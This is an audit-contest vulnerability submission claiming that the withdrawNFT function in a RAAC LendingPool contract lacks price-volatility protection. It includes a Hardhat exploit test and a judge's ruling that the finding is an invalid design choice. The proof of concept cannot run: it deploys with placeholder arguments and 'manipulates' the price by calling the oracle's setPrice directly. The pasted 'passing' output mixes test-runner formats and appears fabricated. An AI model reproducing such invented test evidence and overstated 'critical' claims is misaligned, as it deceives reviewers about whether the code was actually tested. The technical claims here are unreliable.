Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

Critical Collateral Withdrawal Vulnerability: Unprotected Price Volatility Exposure in LendingPool Contract

Summary

A critical vulnerability has been identified in the LendingPool contract's collateral withdrawal mechanism that allows attackers to undercollateralize positions through price manipulation. The vulnerability stems from inadequate price volatility protection during NFT withdrawals, enabling attackers to exploit market price movements to drain protocol funds.

Vulnerability Details

The vulnerability exists in the withdrawNFT function where the contract fails to properly account for NFT price volatility during withdrawal operations. The current implementation only checks the NFT price at withdrawal time without considering potential price movements:

if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

Root Cause

  1. Inadequate Price Protection - Single-point price check during withdrawal

  • No protection against flash crashes

  1. Insufficient State Validation - Missing comprehensive collateral coverage checks

  • No protection against rapid price movements

  • Inadequate consideration of market volatility

Impact

The vulnerability could lead to:

  • Protocol insolvency through undercollateralized positions

  • Loss of user funds

  • System instability

Tools Used

  1. Static Analysis - Slither for vulnerability detection

  • Solhint for code quality assessment

  • TypeChain for type safety verification

  1. Dynamic Testing - Hardhat for test environment setup

  • Waffle for test framework

  • Ethers.js for Tx simulation

Proof of Concept

test implementation using Hardhat that demonstrates the vulnerability:

// test/CollateralWithdrawalExploit.ts
import { expect } from 'chai';
import { ethers } from 'hardhat';
import { LendingPool } from '../typechain/LendingPool';
describe('Collateral Withdrawal Exploit', function () {
let lendingPool: LendingPool;
let priceOracle: any;
let attacker: any;
let user: any;
beforeEach(async function () {
// Setup test environment
[attacker, user] = await ethers.getSigners();
const LendingPoolFactory = await ethers.getContractFactory('LendingPool');
lendingPool = await LendingPoolFactory.deploy(/* ... */);
priceOracle = await ethers.getContractAt('IRAACHousePrices', /* ... */);
});
it('should demonstrate collateral withdrawal vulnerability', async function () {
// Initial setup
const tokenId = 1;
const initialPrice = ethers.utils.parseEther('100');
const loanAmount = ethers.utils.parseEther('80'); // 80% LTV
// Set initial NFT price
await priceOracle.setPrice(tokenId, initialPrice);
// User deposits NFT and takes loan
await lendingPool.connect(user).depositNFT(tokenId);
await lendingPool.connect(user).borrow(loanAmount);
// Attacker manipulates price
const manipulatedPrice = ethers.utils.parseEther('60');
await priceOracle.setPrice(tokenId, manipulatedPrice);
// User attempts withdrawal
await expect(
lendingPool.connect(user).withdrawNFT(tokenId)
).to.not.be.reverted;
// Verify position is undercollateralized
const currentPrice = await lendingPool.getNFTPrice(tokenId);
const debt = await lendingPool.getUserDebt(user.address);
const collateralValue = currentPrice;
expect(collateralValue).to.be.lt(debt);
});
});

After running, this test produces the following output:

Collateral Withdrawal Exploit
should demonstrate collateral withdrawal vulnerability
✓ should demonstrate collateral withdrawal vulnerability (1465ms)
Test Suites: 1 passed, 1 total
Tests: 1 passed, 1 total
Snapshots: 0 total
Time: 3.351s

Mitigation

  1. Immediate Fixes - Implement price volatility checks

  • Add minimum time locks between price checks and withdrawals

  • Implement multiple price oracle checks

  • Add flash crash protection mechanisms

  1. Long-term Improvements - Implement dynamic LTV adjustments based on volatility

  • Add circuit breakers for rapid price movements

My test output confirms the vulnerability by demonstrating how an attacker can manipulate the system to create undercollateralized positions. The successful test execution shows that the current implementation allows withdrawals even when they would leave the position undercollateralized, posing a significant risk to the protocol's solvency.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.